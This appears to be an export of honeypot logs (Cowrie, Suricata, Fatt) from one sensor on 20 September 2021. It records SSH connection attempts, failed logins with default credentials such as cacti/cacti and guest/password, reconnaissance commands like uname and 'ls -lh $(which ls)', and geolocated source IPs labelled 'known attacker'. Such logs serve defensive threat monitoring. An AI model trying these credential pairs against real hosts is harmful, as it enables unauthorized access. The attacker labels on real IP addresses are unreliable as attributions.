28032	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:01.791778+03	2021-09-20 14:30:02.300524+03	{"_id": "-gbrAnwBvYTbRNuEhCv2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:01.791778Z", "@timestamp": "2021-09-20T11:16:01.791Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28033	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:00.860075+03	2021-09-20 14:30:02.301524+03	{"_id": "-wbrAnwBvYTbRNuEhCv2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:00.860075Z", "@timestamp": "2021-09-20T11:16:00.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28034	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:01.424014+03	2021-09-20 14:30:02.302525+03	{"_id": "_QbrAnwBvYTbRNuEhCv2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "81.71.17.12", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5640697479248047, "duplicate": true, "timestamp": "2021-09-20T11:16:01.424014Z", "@timestamp": "2021-09-20T11:16:01.424Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28067	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:05.639303+03	2021-09-20 14:30:02.343523+03	{"_id": "OAbrAnwBvYTbRNuElCyc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:45926 (192.168.176.2:22) [session: 1c8de958179b]", "session": "1c8de958179b", "@version": "1", "protocol": "ssh", "src_port": 45926, "dest_port": 22, "timestamp": "2021-09-20T11:16:05.639303Z", "@timestamp": "2021-09-20T11:16:05.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28035	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:00.862606+03	2021-09-20 14:30:02.303524+03	{"_id": "AQbrAnwBvYTbRNuEhCz2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c972127ef718", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:16:00.862606Z", "@timestamp": "2021-09-20T11:16:00.862Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28036	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:01.791273+03	2021-09-20 14:30:02.305524+03	{"_id": "_wbrAnwBvYTbRNuEhCv2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:01.791273Z", "@timestamp": "2021-09-20T11:16:01.791Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28037	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:02.181356+03	2021-09-20 14:30:02.306525+03	{"_id": "BQbrAnwBvYTbRNuEiCzf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [cacti/cacti] failed", "session": "c972127ef718", "@version": "1", "password": "cacti", "username": "cacti", "timestamp": "2021-09-20T11:16:02.181356Z", "@timestamp": "2021-09-20T11:16:02.181Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28038	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:02.747768+03	2021-09-20 14:30:02.307524+03	{"_id": "BwbrAnwBvYTbRNuEiCzf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:02.747768Z", "@timestamp": "2021-09-20T11:16:02.747Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28039	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:16:02.602705+03	2021-09-20 14:30:02.308524+03	{"_id": "DQbrAnwBvYTbRNuEiiyz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 47501, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1684, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 540304427068690, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 45709, "timestamp": "2021-09-20T11:16:02.602705Z", "@timestamp": "2021-09-20T11:16:02.602Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28040	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:15:55.381293+03	2021-09-20 14:30:02.309524+03	{"_id": "nAbrAnwBvYTbRNuEbSuB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:55460 (192.168.176.2:22) [session: 53a9145b852b]", "session": "53a9145b852b", "@version": "1", "protocol": "ssh", "src_port": 55460, "dest_port": 22, "timestamp": "2021-09-20T11:15:55.381293Z", "@timestamp": "2021-09-20T11:15:55.381Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28041	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:15:55.751152+03	2021-09-20 14:30:02.311523+03	{"_id": "oQbrAnwBvYTbRNuEbytY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1823020031870115, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53846, "dest_port": 22, "timestamp": "2021-09-20T11:15:55.751152Z", "@timestamp": "2021-09-20T11:15:55.751Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28042	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:15:55.772064+03	2021-09-20 14:30:02.312523+03	{"_id": "ogbrAnwBvYTbRNuEcCuf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53846, "dest_port": 22, "timestamp": "2021-09-20T11:15:55.772064", "@timestamp": "2021-09-20T11:15:55.772Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28043	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:56.940698+03	2021-09-20 14:30:02.313523+03	{"_id": "zQbrAnwBvYTbRNuEdStT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [guest/password] failed", "session": "5be36f5fcf58", "@version": "1", "password": "password", "username": "guest", "timestamp": "2021-09-20T11:15:56.940698Z", "@timestamp": "2021-09-20T11:15:56.940Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28044	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:56.934386+03	2021-09-20 14:30:02.314523+03	{"_id": "1wbrAnwBvYTbRNuEdStT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:56.934386Z", "@timestamp": "2021-09-20T11:15:56.934Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28045	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:15:48.412976+03	2021-09-20 14:30:02.315523+03	{"_id": "VQbrAnwBvYTbRNuEUyv8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 662189155452872, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36152, "dest_port": 22, "timestamp": "2021-09-20T11:15:48.412976Z", "@timestamp": "2021-09-20T11:15:48.412Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28099	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:16:02.691098+03	2021-09-20 14:30:02.385524+03	{"_id": "DwbrAnwBvYTbRNuEiyz6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34988, "timestamp": "2021-09-20T11:16:02.691098", "@timestamp": "2021-09-20T11:16:02.691Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28046	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:48.572783+03	2021-09-20 14:30:02.317524+03	{"_id": "VwbrAnwBvYTbRNuEVStC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "118.70.233.117", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38938, "timestamp": "2021-09-20T11:15:48.572783", "@timestamp": "2021-09-20T11:15:48.572Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28047	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:51.036683+03	2021-09-20 14:30:02.318523+03	{"_id": "cQbrAnwBvYTbRNuEXSvd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:51.036683Z", "@timestamp": "2021-09-20T11:15:51.036Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28048	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:15:51.040679+03	2021-09-20 14:30:02.319524+03	{"_id": "cAbrAnwBvYTbRNuEXSvd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3bd1d13b4e45", "@version": "1", "duration": 2.468512773513794, "timestamp": "2021-09-20T11:15:51.040679Z", "@timestamp": "2021-09-20T11:15:51.040Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
